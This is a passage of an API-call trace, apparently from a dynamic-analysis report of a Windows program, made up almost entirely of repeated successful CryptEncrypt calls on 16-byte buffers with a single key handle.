dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.188] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.189] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.190] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.190] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.191] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.192] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, 